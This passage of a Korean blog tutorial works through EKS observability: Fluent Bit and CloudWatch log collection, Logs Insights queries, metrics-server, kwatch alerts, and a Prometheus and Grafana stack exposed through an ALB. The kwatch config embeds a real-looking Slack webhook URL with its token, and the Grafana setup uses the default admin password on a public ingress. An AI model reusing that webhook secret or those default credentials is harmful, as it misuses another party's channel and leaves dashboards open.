kubectl describe cm fluent-bit-config -n amazon-cloudwatch
...
application-log.conf:
----
[INPUT]
    Name                tail
    Tag                 application.*
    Exclude_Path        /var/log/containers/cloudwatch-agent*, /var/log/containers/fluent-bit*, /var/log/containers/aws-node*, /var/log/containers/kube-proxy*
    Path                /var/log/containers/*.log
    multiline.parser    docker, cri
    DB                  /var/fluent-bit/state/flb_container.db
    Mem_Buf_Limit       50MB
    Skip_Long_Lines     On
    Refresh_Interval    10
    Rotate_Wait         30
    storage.type        filesystem
    Read_from_Head      ${READ_FROM_HEAD}

[FILTER]
    Name                kubernetes
    Match               application.*
    Kube_URL            https://kubernetes.default.svc:443
    Kube_Tag_Prefix     application.var.log.containers.
    Merge_Log           On
    Merge_Log_Key       log_processed
    K8S-Logging.Parser  On
    K8S-Logging.Exclude Off
    Labels              Off
    Annotations         Off
    Use_Kubelet         On
    Kubelet_Port        10250
    Buffer_Size         0

[OUTPUT]
    Name                cloudwatch_logs
    Match               application.*
    region              ${AWS_REGION}
    log_group_name      /aws/containerinsights/${CLUSTER_NAME}/application
    log_stream_prefix   ${HOST_NAME}-
    auto_create_group   true
    extra_user_agent    container-insights
...

# Fluent Bit 파드가 수집하는 방법 : Volumes에 HostPath를 살펴보자!
kubectl describe -n amazon-cloudwatch ds fluent-bit
...
ssh ec2-user@$N1 sudo tree /var/log
...

# (참고) 삭제
aws eks delete-addon --cluster-name $CLUSTER_NAME --addon-name amazon-cloudwatch-observability

 

실행 결과 잘 되었고 이 때 로그 수집을 하는 방식이 Volume에 HostPath 방식으로 되어 있다. 이 부분이 보안상 얼마나 안전한지 생각해 볼 필요는 있겠다.

 

그러면 이제부터는 로그를 발생시킨 후 CloudWatch에서 확인해보도록 하자. ApacheBench를 실행한 후 CloudWatch에서 Log group -> /aws/containerinsights/myeks/application -> 로그 스트림에서 nginx로 필터링한 후 선택 -> ApacheBench로 필터링하여 확인해보자.

# 부하 발생
curl -s https://nginx.$MyDomain
yum install -y httpd
ab -c 500 -n 30000 https://nginx.$MyDomain/

# 파드 직접 로그 모니터링
kubectl logs deploy/nginx -f

 

 

또한 로그 인사이트에서 다음 항목에 대해 쿼리를 실행하여 확인해보도록 하자.

# Application log errors by container name : 컨테이너 이름별 애플리케이션 로그 오류
# 로그 그룹 선택 : /aws/containerinsights/<CLUSTER_NAME>/application
stats count() as error_count by kubernetes.container_name 
| filter stream="stderr" 
| sort error_count desc

# All Kubelet errors/warning logs for for a given EKS worker node
# 로그 그룹 선택 : /aws/containerinsights/<CLUSTER_NAME>/dataplane
fields @timestamp, @message, ec2_instance_id
| filter  message =~ /.*(E|W)[0-9]{4}.*/ and ec2_instance_id="<YOUR INSTANCE ID>"
| sort @timestamp desc

# Kubelet errors/warning count per EKS worker node in the cluster
# 로그 그룹 선택 : /aws/containerinsights/<CLUSTER_NAME>/dataplane
fields @timestamp, @message, ec2_instance_id
| filter   message =~ /.*(E|W)[0-9]{4}.*/
| stats count(*) as error_count by ec2_instance_id

# performance 로그 그룹
# 로그 그룹 선택 : /aws/containerinsights/<CLUSTER_NAME>/performance
# 노드별 평균 CPU 사용률
STATS avg(node_cpu_utilization) as avg_node_cpu_utilization by NodeName
| SORT avg_node_cpu_utilization DESC

# 파드별 재시작(restart) 카운트
STATS avg(number_of_container_restarts) as avg_number_of_container_restarts by PodName
| SORT avg_number_of_container_restarts DESC

# 요청된 Pod와 실행 중인 Pod 간 비교
fields @timestamp, @message 
| sort @timestamp desc 
| filter Type="Pod" 
| stats min(pod_number_of_containers) as requested, min(pod_number_of_running_containers) as running, ceil(avg(pod_number_of_containers-pod_number_of_running_containers)) as pods_missing by kubernetes.pod_name 
| sort pods_missing desc

# 클러스터 노드 실패 횟수
stats avg(cluster_failed_node_count) as CountOfNodeFailures 
| filter Type="Cluster" 
| sort @timestamp desc

# 파드별 CPU 사용량
stats pct(container_cpu_usage_total, 50) as CPUPercMedian by kubernetes.container_name 
| filter Type="Container"
| sort CPUPercMedian desc

 

3. Metrics-server & kwatch

Kubelet으로부터 수집한 리소스 메트릭을 수집하고 집계하는 클러스터 애드온 구성 요소인 Metrics-server을 확인해보도록 하자.

# 배포
kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

# 메트릭 서버 확인 : 메트릭은 15초 간격으로 cAdvisor를 통하여 가져옴
kubectl get pod -n kube-system -l k8s-app=metrics-server
kubectl api-resources | grep metrics
kubectl get apiservices |egrep '(AVAILABLE|metrics)'

# 노드 메트릭 확인
kubectl top node

# 파드 메트릭 확인
kubectl top pod -A
kubectl top pod -n kube-system --sort-by='cpu'
kubectl top pod -n kube-system --sort-by='memory'

 

그리고 kwatch는 모니터링하면서 notification을 슬랙 discord 등으로 보내는 역할을 수행한다. 아래 코드로 알람이 나오는 부분을 스크린샷과 같이 이전에 확인할 수 있었다.

# 닉네임
NICK=<각자 자신의 닉네임>
NICK=gasida

# configmap 생성
cat <<EOT > ~/kwatch-config.yaml
apiVersion: v1
kind: Namespace
metadata:
  name: kwatch
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: kwatch
  namespace: kwatch
data:
  config.yaml: |
    alert:
      slack:
        webhook: 'https://hooks.slack.com/services/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'
        title: $NICK-EKS
        #text: Customized text in slack message
    pvcMonitor:
      enabled: true
      interval: 5
      threshold: 70
EOT
kubectl apply -f kwatch-config.yaml

# 배포
kubectl apply -f https://raw.githubusercontent.com/abahmed/kwatch/v0.8.5/deploy/deploy.yaml

 

# 터미널1
watch kubectl get pod

# 잘못된 이미지 정보의 파드 배포
kubectl apply -f https://raw.githubusercontent.com/junghoon2/kube-books/main/ch05/nginx-error-pod.yml
kubectl get events -w

# 이미지 업데이트 방안2 : set 사용 - iamge 등 일부 리소스 값을 변경 가능!
kubectl set 
kubectl set image pod nginx-19 nginx-pod=nginx:1.19

# 삭제
kubectl delete pod nginx-19

 

kwatch 삭제는 다음 명령어를 사용하면 된다.

kubectl delete -f https://raw.githubusercontent.com/abahmed/kwatch/v0.8.5/deploy/deploy.yaml

4. Prometheus 스택

Observability에 대해 CloudWatch도 좋겠으나 Prometheus 스택을 통해 모니터링하는 방법을 실습해보도록 하자. 아래 명령어는 monitoring 네임스페이스에 Prometheus 스택을 배포한다.

# 모니터링
kubectl create ns monitoring
watch kubectl get pod,pvc,svc,ingress -n monitoring

# 사용 리전의 인증서 ARN 확인 : 정상 상태 확인(만료 상태면 에러 발생!)
CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`
echo $CERT_ARN

# repo 추가
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts

# 파라미터 파일 생성
cat <<EOT > monitor-values.yaml
prometheus:
  prometheusSpec:
    podMonitorSelectorNilUsesHelmValues: false
    serviceMonitorSelectorNilUsesHelmValues: false
    retention: 5d
    retentionSize: "10GiB"
    storageSpec:
      volumeClaimTemplate:
        spec:
          storageClassName: gp3
          accessModes: ["ReadWriteOnce"]
          resources:
            requests:
              storage: 30Gi

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - prometheus.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

grafana:
  defaultDashboardsTimezone: Asia/Seoul
  adminPassword: prom-operator

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - grafana.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

  persistence:
    enabled: true
    type: sts
    storageClassName: "gp3"
    accessModes:
      - ReadWriteOnce
    size: 20Gi

defaultRules:
  create: false
kubeControllerManager:
  enabled: false
kubeEtcd:
  enabled: false
kubeScheduler:
  enabled: false
alertmanager:
  enabled: false
EOT
cat monitor-values.yaml | yh

# 배포
helm install kube-prometheus-stack prometheus-community/kube-prometheus-stack --version 57.1.0 \
--set prometheus.prometheusSpec.scrapeInterval='15s' --set prometheus.prometheusSpec.evaluationInterval='15s' \
-f monitor-values.yaml --namespace monitoring

# 확인
## alertmanager-0 : 사전에 정의한 정책 기반(예: 노드 다운, 파드 Pending 등)으로 시스템 경고 메시지를 생성 후 경보 채널(슬랙 등)로 전송
## grafana : 프로메테우스는 메트릭 정보를 저장하는 용도로 사용하며, 그라파나로 시각화 처리
## prometheus-0 : 모니터링 대상이 되는 파드는 ‘exporter’라는 별도의 사이드카 형식의 파드에서 모니터링 메트릭을 노출, pull 방식으로 가져와 내부의 시계열 데이터베이스에 저장
## node-exporter : 노드익스포터는 물리 노드에 대한 자원 사용량(네트워크, 스토리지 등 전체) 정보를 메트릭 형태로 변경하여 노출
## operator : 시스템 경고 메시지 정책(prometheus rule), 애플리케이션 모니터링 대상 추가 등의 작업을 편리하게 할수 있게 CRD 지원
## kube-state-metrics : 쿠버네티스의 클러스터의 상태(kube-state)를 메트릭으로 변환하는 파드
helm list -n monitoring
kubectl get pod,svc,ingress,pvc -n monitoring
kubectl get-all -n monitoring
kubectl get prometheus,servicemonitors -n monitoring
kubectl get crd | grep monitoring
kubectl df-pv

 

EC2 -> Load Balancer 탭에 들어가서 살펴보면 443 리스너 부분에 프로메테우스 부분이 잘 추가되었음을 확인할 수 있다.

또한 web URL로 접속이 잘 되는지도 확인해보도록 하자.

 

이제 AWS CNI Metrics 수집을 위해 사전 설정을 해보자. 이후 프로메테우스에서 결과를 확인해 보고자 한다.

# PodMonitor 배포
cat <<EOF | kubectl create -f -
apiVersion: monitoring.coreos.com/v1
kind: PodMonitor
metadata:
  name: aws-cni-metrics
  namespace: kube-system
spec:
  jobLabel: k8s-app
  namespaceSelector:
    matchNames:
    - kube-system
  podMetricsEndpoints:
  - interval: 30s
    path: /metrics
    port: metrics
  selector:
    matchLabels:
      k8s-app: aws-node
EOF

# PodMonitor 확인
kubectl get podmonitor -n kube-system
kubectl get podmonitor -n kube-system aws-cni-metrics -o yaml | kubectl neat | yh
apiVersion: monitoring.coreos.com/v1
kind: PodMonitor
metadata: 
  name: aws-cni-metrics
  namespace: kube-system
spec: 
  jobLabel: k8s-app
  namespaceSelector: 
    matchNames: 
    - kube-system
  podMetricsEndpoints: 
  - interval: 30s
    path: /metrics
    port: metrics
  selector: 
    matchLabels: 
      k8s-app: aws-node
          
# metrics url 접속 확인
curl -s $N1:61678/metrics | grep '^awscni'
awscni_add_ip_req_count 10
awscni_assigned_ip_addresses 8
awscni_assigned_ip_per_cidr{cidr="192.168.1.117/32"} 1
awscni_assigned_ip_per_cidr{cidr="192.168.1.131/32"} 1
awscni_assigned_ip_per_cidr{cidr="192.168.1.184/32"} 1
awscni_assigned_ip_per_cidr{cidr="192.168.1.210/32"} 0
awscni_assigned_ip_per_cidr{cidr="192.168.1.243/32"} 1
awscni_assigned_ip_per_cidr{cidr="192.168.1.247/32"} 1
awscni_assigned_ip_per_cidr{cidr="192.168.1.38/32"} 1

 

프로메테우스 Web에서 Status -> Targets로 접속한 다음 "aws-cni"로 job을 검색해보면 잘 나오는 것을 확인할 수 있다.

 

프로메테우스는 모니터링 대상이 되는 서비스에 대해 일반적으로 자체 웹 서버의 /metrics 엔드포인트 경로에 다양한 메트릭 정보를 노출한다. 이후 프로메테우스는 해당 경로에 http get 방식으로 메트릭 정보를 가져와 TSDB 형식으로 저장한다.

# 아래 처럼 프로메테우스가 각 서비스의 9100 접속하여 메트릭 정보를 수집
kubectl get node -owide
kubectl get svc,ep -n monitoring kube-prometheus-stack-prometheus-node-exporter

# 노드의 9100번의 /metrics 접속 시 다양한 메트릭 정보를 확인할수 있음 : 마스터 이외에 워커노드도 확인 가능
ssh ec2-user@$N1 curl -s localhost:9100/metrics

 

또한 프로메테우스 설정을 확인해보도록 하자. 웹 페이지에서 Status -> Configuration으로 접속하면 확인할 수 있다. 몇 가지 값들이 보이는 데 이 중 global 설정, "node-exporter" 관련 설정, kubernetes_sd_configs 설정을 확인해보도록 하자.

 

global > scrape_interval: 15s     # 메트릭 가져오는(scrape) 주기
global > scrape_timeout: 10s      # 메트릭 가져오는(scrape) 타임아웃
global > evaluation_interval: 15s # alert 보낼지 말지 판단하는 주기
kubernetes_sd_configs:    # 서비스 디스커버리(SD) 방식을 이용하고, 파드의 엔드포인트 List 자동 반영
kubernetes_sd_configs > role > names: - monitoring    # 서비스 엔드포인트가 속한 네임 스페이스 이름을 지정, 서비스 네임스페이스가 속한 포트 번호를 구분하여 메트릭 정보를 가져옴

 

 

그리고 Target에 대해 실제 curl로 접속하여 어떤 메트릭을 수집하는지 확인해보자. 다음은 kube-prometheus-stack-kube-proxy의 첫 번째 노드 및 kube-prometheus-stack-coredns 첫 번째 노드에 접속해서 얻은 결과이다.

그리고 메트릭을 그래프로 조회할 수도 있다. 다음 메트릭을 조회해보도록 하자.

1- avg(rate(node_cpu_seconds_total{mode="idle"}[1m]))

 

이전에 살펴본 nginx 파드에 대해 서비스 모니터링 방식으로 nginx 모니터링 대상을 등록하여 metric 설정을 추가해보자.

# 모니터링
watch -d "kubectl get pod; echo; kubectl get servicemonitors -n monitoring"

# 파라미터 파일 생성 : 서비스 모니터 방식으로 nginx 모니터링 대상을 등록하고, export 는 9113 포트 사용
cat <<EOT > ~/nginx_metric-values.yaml
metrics:
  enabled: true

  service:
    port: 9113

  serviceMonitor:
    enabled: true
    namespace: monitoring
    interval: 10s
EOT

# 배포
helm upgrade nginx bitnami/nginx --reuse-values -f nginx_metric-values.yaml

# 확인
kubectl get pod,svc,ep
kubectl get servicemonitor -n monitoring nginx
kubectl get servicemonitor -n monitoring nginx -o json | jq

# 메트릭 확인 >> 프로메테우스에서 Target 확인
NGINXIP=$(kubectl get pod -l app.kubernetes.io/instance=nginx -o jsonpath={.items[0].status.podIP})
curl -s http://$NGINXIP:9113/metrics # nginx_connections_active Y 값 확인해보기
curl -s http://$NGINXIP:9113/metrics | grep ^nginx_connections_active

# nginx 파드내에 컨테이너 갯수 확인
kubectl get pod -l app.kubernetes.io/instance=nginx
kubectl describe pod -l app.kubernetes.io/instance=nginx

# 접속 주소 확인 및 접속
echo -e "Nginx WebServer URL = https://nginx.$MyDomain"
curl -s https://nginx.$MyDomain
kubectl logs deploy/nginx -f

# 반복 접속
while true; do curl -s https://nginx.$MyDomain -I | head -n 1; date; sleep 1; done

프로메테우스 target이 추가된 것을 확인할 수 있고

Configuration에서도 변경된 결과를 확인할 수 있다.

5. Grafana

그라파나는 TSDB 데이터를 시각화하며, 다양한 데이터 형식을 지원한다. 본 실습 환경에서는 데이터 소스를 프로메테우스로 사용한다. 접속 정보를 확인한 후 실제 웹 페이지에 접속하여 확인해보도록 하자.

# 그라파나 버전 확인
kubectl exec -it -n monitoring service/kube-prometheus-stack-grafana -- grafana-cli --version
grafana cli version 10.4.0

# ingress 확인
kubectl get ingress -n monitoring kube-prometheus-stack-grafana
kubectl describe ingress -n monitoring kube-prometheus-stack-grafana

# ingress 도메인으로 웹 접속 : 기본 계정 - admin / prom-operator
echo -e "Grafana Web URL = https://grafana.$MyDomain"

 

웹에 접속하여 Connections > Data sources로 접속해 보면 Prometheus에 대한 정보가 있는 것을 확인할 수 있다.

netshoots-pod를 이용해 해당 데이터 소스 접속을 확인해 볼 수도 있다.

# 테스트용 파드 배포
cat <<EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: netshoot-pod
spec:
  containers:
  - name: netshoot-pod
    image: nicolaka/netshoot
    command: ["tail"]
    args: ["-f", "/dev/null"]
  terminationGracePeriodSeconds: 0
EOF
kubectl get pod netshoot-pod

# 접속 확인
kubectl exec -it netshoot-pod -- nslookup kube-prometheus-stack-prometheus.monitoring
kubectl exec -it netshoot-pod -- curl -s kube-prometheus-stack-prometheus.monitoring:9090/graph -v ; echo

# 삭제
kubectl delete pod netshoot-pod

 

 

공식 대시보드를 가져와보자. 먼저 Dashboard → New → Import → 15757 력입력 후 Load ⇒ 데이터소스(Prometheus 선택) 후 Import 클릭해보자.

한글로된 대시보드를 볼 수도 있다. Dashboard → New → Import → 17900 입력 후 Load ⇒ 데이터소스(Prometheus 선택) 후 Import 클릭와 같이 해보자.

 

그런데 CPU 점유율, 메모리 점유율, 디스크 사용률 (%)에 "No data"라고 나온다. 이 부분을 수정해보자. 각각 패널에 대해 Edit 버튼을 클릭한 다음, 아래 쿼리로 바꾸어 테스트를 해본다. 잘 되면 Save 및 Apply를 하여 반영하자.

 

# CPU - CPU 점유율
sum by (instance) (irate(node_cpu_seconds_total{mode!~"guest.*|idle|iowait", instance="$instance"}[5m]))

# 수정 : 메모리 점유율
(node_memory_MemTotal_bytes{instance="$instance"}-node_memory_MemAvailable_bytes{instance="$instance"})/node_memory_MemTotal_bytes{instance="$instance"}

# 수정 : 디스크 사용률
sum(node_filesystem_size_bytes{instance="$instance"} - node_filesystem_avail_bytes{instance="$instance"}) by (node) / sum(node_filesystem_size_bytes{instance="$instance"}) by (node)

 

이제 잘 나온다 :)

 

뿐만 아니라 다음 몇 가지 대시보드 ID들을 추가로 import하여 확인해보자.

  • [Node Exporter Full] 1860 
  • [Node Exporter for Prometheus Dashboard based on 11074] 15172
  • kube-state-metrics-v2 : Dashboard ID copied! (13332)
  • [Amazon EKS] AWS CNI Metrics 16032 - 링크

 

6. 마무리

항상 그렇듯이 실습을 완료한 이후에는 꼭 리소스를 삭제하도록 하자.

 

eksctl delete cluster --name $CLUSTER_NAME && aws cloudformation delete-stack --stack-name $CLUSTER_NAME

 

혹 위 실습에서 로깅 그룹을 삭제 안했을 때는 아래 명령어를 참고하여 삭제하도록 하자.

 

# EKS Control Plane 로깅(CloudWatch Logs) 비활성화
eksctl utils update-cluster-logging --cluster $CLUSTER_NAME --region $AWS_DEFAULT_REGION --disable-types all --approve
# 로그 그룹 삭제 : 컨트롤 플레인
aws logs delete-log-group --log-group-name /aws/eks/$CLUSTER_NAME/cluster

---
# 로그 그룹 삭제 : 데이터 플레인
aws logs delete-log-group --log-group-name /aws/containerinsights/$CLUSTER_NAME/application
aws logs delete-log-group --log-group-name /aws/containerinsights/$CLUSTER_NAME/dataplane
aws logs delete-log-group --log-group-name /aws/containerinsights/$CLUSTER_NAME/host
aws logs delete-log-group --log-group-name /aws/containerinsights/$CLUSTER_NAME/performance

 

+ Recent posts